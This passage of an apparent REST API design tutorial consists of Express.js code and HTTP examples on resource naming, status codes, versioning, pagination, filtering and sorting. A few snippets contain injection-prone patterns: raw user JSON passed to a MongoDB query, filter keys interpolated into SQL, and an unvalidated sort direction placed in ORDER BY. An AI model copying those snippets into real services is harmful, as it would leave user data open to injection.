  res.json(user);
});

❌ Stateful (Bad):
Request 1: Login user → Server stores session
Request 2: Get profile → Server uses stored session

✅ Stateless (Good):
Request 1: Login → Return token
Request 2: Get profile (with token) → Server validates token

// Client includes authentication in every request
const headers = {
  'Authorization': `Bearer ${accessToken}`,
  'Content-Type': 'application/json'
};

fetch('/api/profile', { headers })
  .then(res => res.json());

// Server validates each request independently
app.get('/api/profile', authenticateToken, (req, res) => {
  // Each request is self-contained
  const user = getUserFromToken(req.token);
  res.json(user);
});

HTTP/1.1 200 OK
Cache-Control: max-age=3600, public
ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4"
Last-Modified: Wed, 15 Nov 2023 12:00:00 GMT

{
  "id": 123,
  "name": "John Doe"
}

// Server sets cache headers
app.get('/api/users/:id', (req, res) => {
  const user = database.getUser(req.params.id);

  // Cache for 1 hour
  res.set('Cache-Control', 'public, max-age=3600');
  res.set('ETag', generateETag(user));
  res.json(user);
});

// Client respects cache headers
const response = await fetch('/api/users/123');
// Browser automatically caches based on headers

✅ Good: /users/123
✅ Good: /orders/456/items/789
❌ Bad: /getUserById?id=123

GET /users/123
{
  "id": 123,
  "name": "John Doe",
  "email": "john@example.com"
}

PUT /users/123
{
  "name": "John Smith",
  "email": "john.smith@example.com"
}

POST /users HTTP/1.1
Content-Type: application/json
Accept: application/json

{
  "name": "Jane Doe",
  "email": "jane@example.com"
}

{
  "id": 123,
  "name": "John Doe",
  "links": {
    "self": "/users/123",
    "posts": "/users/123/posts",
    "friends": "/users/123/friends"
  }
}

Client → Load Balancer → API Gateway → Cache Layer → Application Server → Database

// Client doesn't know about intermediary layers
fetch('https://api.example.com/users')
  .then(res => res.json());

// Request might go through:
// 1. CDN
// 2. Load balancer
// 3. API gateway
// 4. Application server
// 5. Database server

<!-- Server sends JavaScript to client -->
<script src="https://api.example.com/widget.js"></script>

<!-- Client executes server-provided code -->
<div id="widget"></div>

✅ Good:
GET    /users
POST   /users
GET    /users/123
PUT    /users/123
DELETE /users/123

❌ Bad:
GET    /getUsers
POST   /createUser
GET    /getUserById/123
PUT    /updateUser/123
DELETE /deleteUser/123

✅ Good:
GET /users          # Collection
GET /users/123      # Single resource
GET /orders         # Collection
GET /orders/456     # Single resource

❌ Bad:
GET /user
GET /user/123

✅ Good:
/user-profiles
/order-items
/api-keys

❌ Bad:
/userProfiles      (camelCase)
/UserProfiles      (PascalCase)
/user_profiles     (snake_case - acceptable but less common)

✅ Good:
/users/123/orders
/users/123/orders/456
/users/123/orders/456/items

Structure represents relationship:
User 123 → Orders → Order 456 → Items

✅ Good: /users
❌ Bad:  /users/

// Redirect trailing slashes
app.use((req, res, next) => {
  if (req.path.endsWith('/') && req.path.length > 1) {
    const query = req.url.slice(req.path.length);
    res.redirect(301, req.path.slice(0, -1) + query);
  } else {
    next();
  }
});

GET /users/123/posts           # Posts belonging to user 123
GET /users/123/posts/456       # Post 456 of user 123
GET /orders/789/items          # Items in order 789
GET /teams/5/members           # Members of team 5

GET /posts?userId=123          # Alternative to /users/123/posts
GET /comments?postId=456       # Alternative to /posts/456/comments
GET /items?orderId=789         # Alternative to /orders/789/items

# Users and teams (many-to-many)
GET /users/123/teams           # Teams for user 123
GET /teams/5/members           # Members of team 5

# Alternative: Membership resource
GET /memberships?userId=123    # Memberships for user 123
GET /memberships?teamId=5      # Memberships in team 5
POST /memberships              # Create membership
{
  "userId": 123,
  "teamId": 5,
  "role": "admin"
}

POST /users/123/activate       # Activate user
POST /orders/456/cancel        # Cancel order
POST /invoices/789/send        # Send invoice
POST /passwords/reset          # Reset password

# Use resource state change
PATCH /users/123
{ "status": "active" }

PATCH /orders/456
{ "status": "cancelled" }

# Use sub-resources
POST /users/123/password-resets
POST /invoices/789/email-deliveries

GET /search?q=john&type=users
GET /users/search?name=john&age=25
POST /users/search              # Complex search with body
{
  "filters": {
    "age": { "min": 25, "max": 35 },
    "city": "New York",
    "skills": ["JavaScript", "Python"]
  }
}

POST /users/batch
{
  "operation": "delete",
  "ids": [1, 2, 3, 4, 5]
}

PATCH /users/bulk-update
{
  "updates": [
    { "id": 1, "status": "active" },
    { "id": 2, "status": "inactive" }
  ]
}

/products
/products/123
/products/123/reviews
/products/123/images
/categories
/categories/electronics
/categories/electronics/products
/carts
/carts/456/items
/orders
/orders/789
/orders/789/items
/orders/789/shipments
/customers
/customers/123/addresses
/customers/123/payment-methods

/users
/users/123
/users/123/posts
/users/123/followers
/users/123/following
/posts
/posts/456
/posts/456/comments
/posts/456/likes
/posts/456/shares
/hashtags
/hashtags/trending
/messages
/conversations
/conversations/789/messages

/projects
/projects/123
/projects/123/tasks
/projects/123/members
/tasks
/tasks/456
/tasks/456/comments
/tasks/456/attachments
/teams
/teams/789
/teams/789/projects
/teams/789/members
/milestones
/timesheets

GET /users HTTP/1.1
Host: api.example.com

HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: max-age=3600

[
  { "id": 1, "name": "John" },
  { "id": 2, "name": "Jane" }
]

GET /users/123 HTTP/1.1
Host: api.example.com

HTTP/1.1 200 OK
Content-Type: application/json

{
  "id": 123,
  "name": "John Doe",
  "email": "john@example.com"
}

GET /users?page=2&limit=20&sort=name&filter=active HTTP/1.1

// Express.js
app.get('/users', async (req, res) => {
  const { page = 1, limit = 20, sort, filter } = req.query;

  const users = await database.getUsers({
    page: parseInt(page),
    limit: parseInt(limit),
    sort,
    filter
  });

  res.json(users);
});

app.get('/users/:id', async (req, res) => {
  const user = await database.getUser(req.params.id);

  if (!user) {
    return res.status(404).json({ error: 'User not found' });
  }

  res.json(user);
});

POST /users HTTP/1.1
Host: api.example.com
Content-Type: application/json

{
  "name": "John Doe",
  "email": "john@example.com"
}

HTTP/1.1 201 Created
Location: /users/123
Content-Type: application/json

{
  "id": 123,
  "name": "John Doe",
  "email": "john@example.com",
  "createdAt": "2023-11-15T10:00:00Z"
}

app.post('/users', async (req, res) => {
  // Validate input
  const errors = validateUser(req.body);
  if (errors.length > 0) {
    return res.status(400).json({ errors });
  }

  // Create user
  const user = await database.createUser(req.body);

  // Return 201 with Location header
  res.status(201)
    .location(`/users/${user.id}`)
    .json(user);
});

POST /users              → Server generates ID (e.g., /users/123)
PUT /users/john-doe      → Client specifies ID

PUT /users/123 HTTP/1.1
Host: api.example.com
Content-Type: application/json

{
  "name": "John Smith",
  "email": "john.smith@example.com",
  "age": 30,
  "city": "New York"
}

HTTP/1.1 200 OK
Content-Type: application/json

{
  "id": 123,
  "name": "John Smith",
  "email": "john.smith@example.com",
  "age": 30,
  "city": "New York",
  "updatedAt": "2023-11-15T10:00:00Z"
}

app.put('/users/:id', async (req, res) => {
  const { id } = req.params;

  // Validate full resource
  const errors = validateUser(req.body);
  if (errors.length > 0) {
    return res.status(400).json({ errors });
  }

  // Check if resource exists
  const exists = await database.userExists(id);

  // Replace resource
  const user = await database.replaceUser(id, req.body);

  // Return 200 if updated, 201 if created
  res.status(exists ? 200 : 201).json(user);
});

PATCH /users/123 HTTP/1.1
Host: api.example.com
Content-Type: application/json

{
  "email": "new.email@example.com"
}

HTTP/1.1 200 OK
Content-Type: application/json

{
  "id": 123,
  "name": "John Doe",
  "email": "new.email@example.com",
  "age": 30,
  "city": "New York",
  "updatedAt": "2023-11-15T10:00:00Z"
}

PATCH /users/123 HTTP/1.1
Content-Type: application/json-patch+json

[
  { "op": "replace", "path": "/email", "value": "new@example.com" },
  { "op": "add", "path": "/phone", "value": "+1234567890" },
  { "op": "remove", "path": "/age" }
]

app.patch('/users/:id', async (req, res) => {
  const { id } = req.params;

  // Check if user exists
  const user = await database.getUser(id);
  if (!user) {
    return res.status(404).json({ error: 'User not found' });
  }

  // Validate partial update
  const errors = validatePartialUser(req.body);
  if (errors.length > 0) {
    return res.status(400).json({ errors });
  }

  // Update specific fields
  const updatedUser = await database.updateUser(id, req.body);

  res.json(updatedUser);
});

PUT /users/123          → Must send complete resource
PATCH /users/123        → Send only fields to update

DELETE /users/123 HTTP/1.1
Host: api.example.com

HTTP/1.1 204 No Content

DELETE /users/123 HTTP/1.1

HTTP/1.1 200 OK
Content-Type: application/json

{
  "message": "User deleted successfully",
  "deletedAt": "2023-11-15T10:00:00Z"
}

app.delete('/users/:id', async (req, res) => {
  const { id } = req.params;

  // Check if user exists
  const user = await database.getUser(id);
  if (!user) {
    return res.status(404).json({ error: 'User not found' });
  }

  // Delete user
  await database.deleteUser(id);

  // Return 204 No Content or 200 with message
  res.status(204).send();
  // OR
  // res.status(200).json({ message: 'User deleted' });
});

app.delete('/users/:id', async (req, res) => {
  await database.updateUser(id, {
    deletedAt: new Date(),
    status: 'deleted'
  });

  res.status(204).send();
});

HEAD /users/123 HTTP/1.1

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 256
Last-Modified: Wed, 15 Nov 2023 10:00:00 GMT

OPTIONS /users HTTP/1.1

HTTP/1.1 200 OK
Allow: GET, POST, OPTIONS
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Allow-Headers: Content-Type, Authorization

GET /users/123
HTTP/1.1 200 OK

{
  "id": 123,
  "name": "John Doe"
}

POST /users
HTTP/1.1 201 Created
Location: /users/123

{
  "id": 123,
  "name": "John Doe"
}

POST /reports/generate
HTTP/1.1 202 Accepted

{
  "message": "Report generation started",
  "statusUrl": "/reports/status/abc123"
}

DELETE /users/123
HTTP/1.1 204 No Content

GET /users/123
HTTP/1.1 301 Moved Permanently
Location: /v2/users/123

GET /users/123
HTTP/1.1 307 Temporary Redirect
Location: /users/temp/123

GET /users/123
If-None-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4"

HTTP/1.1 304 Not Modified
ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4"

POST /users
{
  "email": "invalid-email"
}

HTTP/1.1 400 Bad Request
{
  "error": "Validation failed",
  "details": {
    "email": "Invalid email format"
  }
}

GET /users/123
HTTP/1.1 401 Unauthorized
WWW-Authenticate: Bearer realm="api"

{
  "error": "Authentication required",
  "message": "Please provide a valid access token"
}

DELETE /users/123
Authorization: Bearer valid-token

HTTP/1.1 403 Forbidden
{
  "error": "Insufficient permissions",
  "message": "You don't have permission to delete this user"
}

401: You need to log in
403: You're logged in, but you can't do this

GET /users/999
HTTP/1.1 404 Not Found

{
  "error": "Resource not found",
  "message": "User with ID 999 does not exist"
}

POST /users/123
HTTP/1.1 405 Method Not Allowed
Allow: GET, PUT, PATCH, DELETE

{
  "error": "Method not allowed",
  "message": "POST is not supported for this resource. Use PUT or PATCH to update."
}

POST /users
{
  "email": "existing@example.com"
}

HTTP/1.1 409 Conflict
{
  "error": "User already exists",
  "message": "A user with this email already exists"
}

POST /users
{
  "age": -5,
  "email": "valid@example.com"
}

HTTP/1.1 422 Unprocessable Entity
{
  "error": "Validation failed",
  "details": {
    "age": "Age must be a positive number"
  }
}

400: Syntax error (invalid JSON, wrong type)
422: Semantic error (valid JSON, invalid business logic)

GET /users
HTTP/1.1 429 Too Many Requests
Retry-After: 60

{
  "error": "Rate limit exceeded",
  "message": "Too many requests. Please try again in 60 seconds."
}

GET /users/123
HTTP/1.1 500 Internal Server Error

{
  "error": "Internal server error",
  "message": "An unexpected error occurred",
  "requestId": "abc123"
}

GET /users
HTTP/1.1 502 Bad Gateway

{
  "error": "Bad gateway",
  "message": "Error communicating with database"
}

GET /users
HTTP/1.1 503 Service Unavailable
Retry-After: 300

{
  "error": "Service unavailable",
  "message": "Server is under maintenance. Please try again in 5 minutes."
}

GET /reports/large
HTTP/1.1 504 Gateway Timeout

{
  "error": "Gateway timeout",
  "message": "Request took too long to process"
}

Request received
├─ Valid request?
│  ├─ No → 400 Bad Request
│  └─ Yes
│     ├─ Authenticated?
│     │  ├─ No → 401 Unauthorized
│     │  └─ Yes
│     │     ├─ Authorized?
│     │     │  ├─ No → 403 Forbidden
│     │     │  └─ Yes
│     │     │     ├─ Resource exists?
│     │     │     │  ├─ No → 404 Not Found
│     │     │     │  └─ Yes
│     │     │     │     ├─ Method allowed?
│     │     │     │     │  ├─ No → 405 Method Not Allowed
│     │     │     │     │  └─ Yes
│     │     │     │     │     ├─ Business logic valid?
│     │     │     │     │     │  ├─ No → 422 Unprocessable Entity / 409 Conflict
│     │     │     │     │     │  └─ Yes
│     │     │     │     │     │     ├─ Server error?
│     │     │     │     │     │     │  ├─ Yes → 500 Internal Server Error
│     │     │     │     │     │     │  └─ No → 200 OK / 201 Created / 204 No Content

const express = require('express');
const app = express();

app.get('/users/:id', async (req, res, next) => {
  try {
    // Validate ID format
    if (!isValidId(req.params.id)) {
      return res.status(400).json({
        error: 'Invalid ID format'
      });
    }

    // Check authentication
    if (!req.headers.authorization) {
      return res.status(401).json({
        error: 'Authentication required'
      });
    }

    // Verify token
    const user = await verifyToken(req.headers.authorization);
    if (!user) {
      return res.status(401).json({
        error: 'Invalid token'
      });
    }

    // Get resource
    const targetUser = await database.getUser(req.params.id);
    if (!targetUser) {
      return res.status(404).json({
        error: 'User not found'
      });
    }

    // Check authorization
    if (!canAccessUser(user, targetUser)) {
      return res.status(403).json({
        error: 'Insufficient permissions'
      });
    }

    // Success
    res.status(200).json(targetUser);

  } catch (error) {
    // Server error
    console.error('Error:', error);
    res.status(500).json({
      error: 'Internal server error',
      requestId: req.id
    });
  }
});

app.post('/users', async (req, res) => {
  // Validate input
  const errors = validateUser(req.body);
  if (errors.length > 0) {
    return res.status(422).json({
      error: 'Validation failed',
      details: errors
    });
  }

  // Check for duplicates
  const existing = await database.findUserByEmail(req.body.email);
  if (existing) {
    return res.status(409).json({
      error: 'User already exists'
    });
  }

  // Create user
  const user = await database.createUser(req.body);

  res.status(201)
    .location(`/users/${user.id}`)
    .json(user);
});

https://api.example.com/v1/users
https://api.example.com/v2/users
https://api.example.com/v3/users

const express = require('express');
const app = express();

// Version 1
app.get('/v1/users/:id', (req, res) => {
  const user = getUserV1(req.params.id);
  res.json({
    id: user.id,
    name: user.name,
    email: user.email
  });
});

// Version 2 - added phone field
app.get('/v2/users/:id', (req, res) => {
  const user = getUserV2(req.params.id);
  res.json({
    id: user.id,
    fullName: user.name,  // renamed field
    email: user.email,
    phone: user.phone     // new field
  });
});

// Version 3 - restructured response
app.get('/v3/users/:id', (req, res) => {
  const user = getUserV3(req.params.id);
  res.json({
    user: {
      id: user.id,
      profile: {
        fullName: user.name,
        email: user.email,
        phone: user.phone
      },
      metadata: {
        createdAt: user.createdAt,
        updatedAt: user.updatedAt
      }
    }
  });
});

✅ Use major versions only: v1, v2, v3
✅ Include version in base path: /v1/
❌ Avoid minor versions in URL: /v1.2/users

GET /users/123 HTTP/1.1
Host: api.example.com
API-Version: 2

GET /users/123 HTTP/1.1
Host: api.example.com
Accept: application/vnd.example.v2+json

// Custom header versioning
app.use((req, res, next) => {
  req.apiVersion = req.headers['api-version'] || '1';
  next();
});

app.get('/users/:id', (req, res) => {
  const user = getUser(req.params.id);

  if (req.apiVersion === '1') {
    res.json({
      id: user.id,
      name: user.name,
      email: user.email
    });
  } else if (req.apiVersion === '2') {
    res.json({
      id: user.id,
      fullName: user.name,
      email: user.email,
      phone: user.phone
    });
  }
});

// Accept header versioning
app.get('/users/:id', (req, res) => {
  const user = getUser(req.params.id);
  const accept = req.headers.accept;

  if (accept.includes('vnd.example.v2+json')) {
    res.json({ /* v2 format */ });
  } else {
    res.json({ /* v1 format */ });
  }
});

https://api.example.com/users?version=2
https://api.example.com/users?v=2
https://api.example.com/users?api-version=2

app.get('/users/:id', (req, res) => {
  const version = req.query.version || '1';
  const user = getUser(req.params.id);

  const formatters = {
    '1': formatUserV1,
    '2': formatUserV2,
    '3': formatUserV3
  };

  const formatter = formatters[version] || formatters['1'];
  res.json(formatter(user));
});

GET /users/123 HTTP/1.1
Accept: application/vnd.example.user.v2+json

// Default to latest stable version
app.use((req, res, next) => {
  if (!req.path.startsWith('/v')) {
    return res.redirect(`/v2${req.path}`);
  }
  next();
});

// Or serve default version directly
app.get('/users/:id', (req, res) => {
  // Default to v2
  req.apiVersion = '2';
  // Handle request...
});

GET /v1/users/123 HTTP/1.1

HTTP/1.1 200 OK
Sunset: Sat, 31 Dec 2023 23:59:59 GMT
Deprecation: true
Link: </v2/users/123>; rel="successor-version"
Warning: 299 - "API version 1 is deprecated and will be removed on Dec 31, 2023"

{
  "id": 123,
  "name": "John Doe"
}

app.use('/v1/*', (req, res, next) => {
  res.set({
    'Sunset': 'Sat, 31 Dec 2023 23:59:59 GMT',
    'Deprecation': 'true',
    'Warning': '299 - "API version 1 is deprecated"'
  });
  next();
});

✅ /v1/users, /v1/orders, /v1/products (consistent)
❌ /v1/users, /v2/orders, /users/products (inconsistent)

// Non-breaking: Adding optional field
// Version 1
{ "name": "John" }

// Version 1 (updated)
{ "name": "John", "phone": "123" }  // phone is optional

// Breaking: Renaming field
// Version 1
{ "name": "John" }

// Version 2 (requires new version)
{ "fullName": "John" }

const v1Routes = require('./routes/v1');
const v2Routes = require('./routes/v2');
const v3Routes = require('./routes/v3');

app.use('/v1', v1Routes);
app.use('/v2', v2Routes);
app.use('/v3', v3Routes);

# API Versions

## Version 3 (Current)
- Restructured user response
- Added pagination metadata
- Breaking: Changed date format to ISO 8601

## Version 2 (Deprecated - Sunset: Dec 31, 2023)
- Added phone field
- Renamed `name` to `fullName`

## Version 1 (Deprecated - Sunset: Dec 31, 2023)
- Initial version

// v1/users.js
router.get('/:id', async (req, res) => {
  const user = await db.getUser(req.params.id);
  res.json({
    id: user.id,
    name: user.name,
    email: user.email,
    created: user.createdAt.getTime()  // timestamp
  });
});

// v2/users.js
router.get('/:id', async (req, res) => {
  const user = await db.getUser(req.params.id);
  res.json({
    id: user.id,
    fullName: user.name,              // renamed
    email: user.email,
    phone: user.phone,                // added
    createdAt: user.createdAt.toISOString()  // changed format
  });
});

// Migration helper for clients
router.get('/:id/migrate', async (req, res) => {
  const user = await db.getUser(req.params.id);
  res.json({
    v1: {
      id: user.id,
      name: user.name,
      email: user.email,
      created: user.createdAt.getTime()
    },
    v2: {
      id: user.id,
      fullName: user.name,
      email: user.email,
      phone: user.phone,
      createdAt: user.createdAt.toISOString()
    },
    migration: {
      'name → fullName': 'Field renamed',
      'phone': 'New field added',
      'created → createdAt': 'Format changed to ISO 8601'
    }
  });
});

GET /users?limit=20&offset=40
GET /users?page=3&per_page=20

{
  "data": [
    { "id": 41, "name": "User 41" },
    { "id": 42, "name": "User 42" },
    ...
  ],
  "pagination": {
    "total": 1000,
    "page": 3,
    "perPage": 20,
    "totalPages": 50,
    "hasNext": true,
    "hasPrev": true
  }
}

app.get('/users', async (req, res) => {
  const page = parseInt(req.query.page) || 1;
  const perPage = parseInt(req.query.per_page) || 20;
  const offset = (page - 1) * perPage;

  // Get paginated data
  const users = await db.query(
    'SELECT * FROM users LIMIT $1 OFFSET $2',
    [perPage, offset]
  );

  // Get total count
  const total = await db.query('SELECT COUNT(*) FROM users');
  const totalUsers = parseInt(total.rows[0].count);
  const totalPages = Math.ceil(totalUsers / perPage);

  res.json({
    data: users.rows,
    pagination: {
      total: totalUsers,
      page,
      perPage,
      totalPages,
      hasNext: page < totalPages,
      hasPrev: page > 1
    }
  });
});

-- Fast
SELECT * FROM users LIMIT 20 OFFSET 0;

-- Slow (must scan 1,000,000 rows)
SELECT * FROM users LIMIT 20 OFFSET 1000000;

GET /users?limit=20
GET /users?limit=20&cursor=eyJpZCI6MTIzfQ==

{
  "data": [
    { "id": 124, "name": "User 124" },
    { "id": 125, "name": "User 125" },
    ...
  ],
  "pagination": {
    "nextCursor": "eyJpZCI6MTQzfQ==",
    "hasMore": true
  }
}

app.get('/users', async (req, res) => {
  const limit = parseInt(req.query.limit) || 20;
  const cursor = req.query.cursor
    ? JSON.parse(Buffer.from(req.query.cursor, 'base64').toString())
    : null;

  // Build query
  let query = 'SELECT * FROM users';
  let params = [limit + 1];  // Fetch one extra to check if more exist

  if (cursor) {
    query += ' WHERE id > $2';
    params.push(cursor.id);
  }

  query += ' ORDER BY id ASC LIMIT $1';

  const users = await db.query(query, params);
  const hasMore = users.rows.length > limit;

  // Remove extra item if exists
  if (hasMore) {
    users.rows.pop();
  }

  // Create next cursor
  let nextCursor = null;
  if (hasMore && users.rows.length > 0) {
    const lastUser = users.rows[users.rows.length - 1];
    nextCursor = Buffer.from(
      JSON.stringify({ id: lastUser.id })
    ).toString('base64');
  }

  res.json({
    data: users.rows,
    pagination: {
      nextCursor,
      hasMore
    }
  });
});

GET /users?limit=20&after_id=123
GET /posts?limit=20&after_date=2023-11-15T10:00:00Z

app.get('/posts', async (req, res) => {
  const limit = parseInt(req.query.limit) || 20;
  const afterDate = req.query.after_date;

  let query = 'SELECT * FROM posts';
  const params = [limit + 1];

  if (afterDate) {
    query += ' WHERE created_at < $2';
    params.push(afterDate);
  }

  query += ' ORDER BY created_at DESC LIMIT $1';

  const posts = await db.query(query, params);
  const hasMore = posts.rows.length > limit;

  if (hasMore) {
    posts.rows.pop();
  }

  res.json({
    data: posts.rows,
    pagination: {
      hasMore,
      nextAfterDate: hasMore
        ? posts.rows[posts.rows.length - 1].created_at
        : null
    }
  });
});

GET /users?page=3&per_page=20 HTTP/1.1

HTTP/1.1 200 OK
Link: <https://api.example.com/users?page=1&per_page=20>; rel="first",
      <https://api.example.com/users?page=2&per_page=20>; rel="prev",
      <https://api.example.com/users?page=4&per_page=20>; rel="next",
      <https://api.example.com/users?page=50&per_page=20>; rel="last"

[
  { "id": 41, "name": "User 41" },
  ...
]

app.get('/users', async (req, res) => {
  const page = parseInt(req.query.page) || 1;
  const perPage = parseInt(req.query.per_page) || 20;

  // Get data and total
  const users = await getUsers(page, perPage);
  const total = await getUserCount();
  const totalPages = Math.ceil(total / perPage);

  // Build Link header
  const baseUrl = `${req.protocol}://${req.get('host')}${req.path}`;
  const links = [];

  // First page
  links.push(`<${baseUrl}?page=1&per_page=${perPage}>; rel="first"`);

  // Previous page
  if (page > 1) {
    links.push(`<${baseUrl}?page=${page-1}&per_page=${perPage}>; rel="prev"`);
  }

  // Next page
  if (page < totalPages) {
    links.push(`<${baseUrl}?page=${page+1}&per_page=${perPage}>; rel="next"`);
  }

  // Last page
  links.push(`<${baseUrl}?page=${totalPages}&per_page=${perPage}>; rel="last"`);

  res.set('Link', links.join(', '));
  res.json(users);
});

app.get('/users', (req, res) => {
  const limit = Math.min(
    parseInt(req.query.limit) || 20,  // default
    100                                // maximum
  );

  if (limit < 1 || limit > 100) {
    return res.status(400).json({
      error: 'Limit must be between 1 and 100'
    });
  }

  // Continue with pagination...
});

{
  "data": [...],
  "meta": {
    "total": 1000,
    "page": 3,
    "perPage": 20,
    "totalPages": 50,
    "links": {
      "first": "/users?page=1",
      "prev": "/users?page=2",
      "self": "/users?page=3",
      "next": "/users?page=4",
      "last": "/users?page=50"
    }
  }
}

// Empty results
{
  "data": [],
  "pagination": {
    "total": 0,
    "page": 1,
    "perPage": 20,
    "totalPages": 0,
    "hasNext": false,
    "hasPrev": false
  }
}

// Out of range page
if (page > totalPages && totalPages > 0) {
  return res.status(404).json({
    error: 'Page not found',
    message: `Page ${page} does not exist. Total pages: ${totalPages}`
  });
}

GET /users?page=2&sort=name&order=asc
GET /users?page=2&sort=-created_at  // minus sign for descending

app.get('/users', async (req, res) => {
  const page = parseInt(req.query.page) || 1;
  const perPage = 20;
  const sort = req.query.sort || 'id';
  const order = req.query.order === 'desc' ? 'DESC' : 'ASC';

  // Validate sort field
  const allowedSortFields = ['id', 'name', 'created_at'];
  if (!allowedSortFields.includes(sort)) {
    return res.status(400).json({ error: 'Invalid sort field' });
  }

  const users = await db.query(
    `SELECT * FROM users ORDER BY ${sort} ${order} LIMIT $1 OFFSET $2`,
    [perPage, (page - 1) * perPage]
  );

  res.json({ data: users.rows });
});

GET /users?status=active
GET /users?role=admin&status=active
GET /products?category=electronics&price_min=100&price_max=500

app.get('/users', async (req, res) => {
  const { status, role, city } = req.query;

  let query = 'SELECT * FROM users WHERE 1=1';
  const params = [];
  let paramIndex = 1;

  if (status) {
    query += ` AND status = $${paramIndex++}`;
    params.push(status);
  }

  if (role) {
    query += ` AND role = $${paramIndex++}`;
    params.push(role);
  }

  if (city) {
    query += ` AND city = $${paramIndex++}`;
    params.push(city);
  }

  const users = await db.query(query, params);
  res.json({ data: users.rows });
});

GET /products?price_min=100&price_max=500
GET /events?start_date=2023-01-01&end_date=2023-12-31
GET /users?age_gte=18&age_lte=65

app.get('/products', async (req, res) => {
  const { price_min, price_max, stock_gt, stock_lt } = req.query;

  let query = 'SELECT * FROM products WHERE 1=1';
  const params = [];
  let paramIndex = 1;

  if (price_min) {
    query += ` AND price >= $${paramIndex++}`;
    params.push(parseFloat(price_min));
  }

  if (price_max) {
    query += ` AND price <= $${paramIndex++}`;
    params.push(parseFloat(price_max));
  }

  if (stock_gt) {
    query += ` AND stock > $${paramIndex++}`;
    params.push(parseInt(stock_gt));
  }

  if (stock_lt) {
    query += ` AND stock < $${paramIndex++}`;
    params.push(parseInt(stock_lt));
  }

  const products = await db.query(query, params);
  res.json({ data: products.rows });
});

_min, _max    → Inclusive range
_gt, _lt      → Greater than, less than
_gte, _lte    → Greater/less than or equal
_ne           → Not equal
_in           → In array

GET /products?category=electronics,books,toys
GET /users?role_in=admin,moderator
GET /posts?tags=javascript,nodejs

app.get('/products', async (req, res) => {
  const { category, tags } = req.query;

  let query = 'SELECT * FROM products WHERE 1=1';
  const params = [];

  if (category) {
    const categories = category.split(',');
    query += ' AND category = ANY($1)';
    params.push(categories);
  }

  if (tags) {
    const tagList = tags.split(',');
    query += ' AND tags && $2';  // PostgreSQL array overlap
    params.push(tagList);
  }

  const products = await db.query(query, params);
  res.json({ data: products.rows });
});

GET /users?search=john
GET /products?q=laptop
GET /posts?title_contains=api

app.get('/users', async (req, res) => {
  const { search } = req.query;

  if (search) {
    // Full-text search
    const users = await db.query(
      `SELECT * FROM users
       WHERE name ILIKE $1
          OR email ILIKE $1`,
      [`%${search}%`]
    );
    return res.json({ data: users.rows });
  }

  // Regular query...
});

// Advanced: Full-text search with PostgreSQL
app.get('/posts', async (req, res) => {
  const { q } = req.query;

  if (q) {
    const posts = await db.query(
      `SELECT *, ts_rank(search_vector, query) AS rank
       FROM posts, to_tsquery($1) query
       WHERE search_vector @@ query
       ORDER BY rank DESC`,
      [q.split(' ').join(' & ')]
    );
    return res.json({ data: posts.rows });
  }
});

GET /users?filter={"age":{"$gte":18},"city":"NYC"}
GET /products?filter={"$or":[{"category":"electronics"},{"price":{"$lt":100}}]}

// Using MongoDB-style query language
app.get('/users', async (req, res) => {
  const { filter } = req.query;

  if (filter) {
    try {
      const filterObj = JSON.parse(filter);
      const users = await db.collection('users').find(filterObj).toArray();
      return res.json({ data: users });
    } catch (error) {
      return res.status(400).json({ error: 'Invalid filter' });
    }
  }
});

// Custom filter builder
function buildWhereClause(filter) {
  const conditions = [];
  const params = [];
  let paramIndex = 1;

  for (const [key, value] of Object.entries(filter)) {
    if (typeof value === 'object') {
      for (const [operator, operand] of Object.entries(value)) {
        switch (operator) {
          case '$gte':
            conditions.push(`${key} >= $${paramIndex++}`);
            params.push(operand);
            break;
          case '$lte':
            conditions.push(`${key} <= $${paramIndex++}`);
            params.push(operand);
            break;
          case '$gt':
            conditions.push(`${key} > $${paramIndex++}`);
            params.push(operand);
            break;
          case '$lt':
            conditions.push(`${key} < $${paramIndex++}`);
            params.push(operand);
            break;
          case '$ne':
            conditions.push(`${key} != $${paramIndex++}`);
            params.push(operand);
            break;
          case '$in':
            conditions.push(`${key} = ANY($${paramIndex++})`);
            params.push(operand);
            break;
        }
      }
    } else {
      conditions.push(`${key} = $${paramIndex++}`);
      params.push(value);
    }
  }

  return {
    where: conditions.join(' AND '),
    params
  };
}

GET /users?sort=name
GET /users?sort=created_at
GET /products?sort=price

app.get('/users', async (req, res) => {
  const { sort = 'id', order = 'asc' } = req.query;

  // Whitelist allowed sort fields
  const allowedSortFields = ['id', 'name', 'email', 'created_at'];
  if (!allowedSortFields.includes(sort)) {
    return res.status(400).json({
      error: 'Invalid sort field',
      allowed: allowedSortFields
    });
  }

  const orderDir = order.toLowerCase() === 'desc' ? 'DESC' : 'ASC';

  const users = await db.query(
    `SELECT * FROM users ORDER BY ${sort} ${orderDir}`
  );

  res.json({ data: users.rows });
});

GET /users?sort=last_name,first_name
GET /products?sort=-price,name  // - prefix for descending
GET /posts?sort=pinned:desc,created_at:desc

app.get('/users', async (req, res) => {
  const { sort } = req.query;

  if (!sort) {
    return res.json({ data: await getAllUsers() });
  }

  const sortFields = sort.split(',');
  const orderClauses = [];
  const allowedFields = ['id', 'name', 'created_at', 'age'];

  for (const field of sortFields) {
    let fieldName = field;
    let direction = 'ASC';

    // Handle - prefix for descending
    if (field.startsWith('-')) {
      fieldName = field.substring(1);
      direction = 'DESC';
    }

    // Handle :desc/:asc suffix
    if (field.includes(':')) {
      const parts = field.split(':');
      fieldName = parts[0];
      direction = parts[1].toUpperCase();
    }

    // Validate field
    if (!allowedFields.includes(fieldName)) {
      return res.status(400).json({
        error: `Invalid sort field: ${fieldName}`
      });
    }

    orderClauses.push(`${fieldName} ${direction}`);
  }

  const users = await db.query(
    `SELECT * FROM users ORDER BY ${orderClauses.join(', ')}`
  );

  res.json({ data: users.rows });
});

GET /products?category=electronics&price_min=100&price_max=500&sort=-price&page=2&limit=20

app.get('/products', async (req, res) => {
  const {
    // Filtering
    category,
    price_min,
    price_max,
    in_stock,
    // Sorting
    sort = 'id',
    order = 'asc',
    // Pagination
    page = 1,
    limit = 20
  } = req.query;

  // Build WHERE clause
  const conditions = ['1=1'];
  const params = [];
  let paramIndex = 1;

  if (category) {
    conditions.push(`category = $${paramIndex++}`);
    params.push(category);
  }

  if (price_min) {
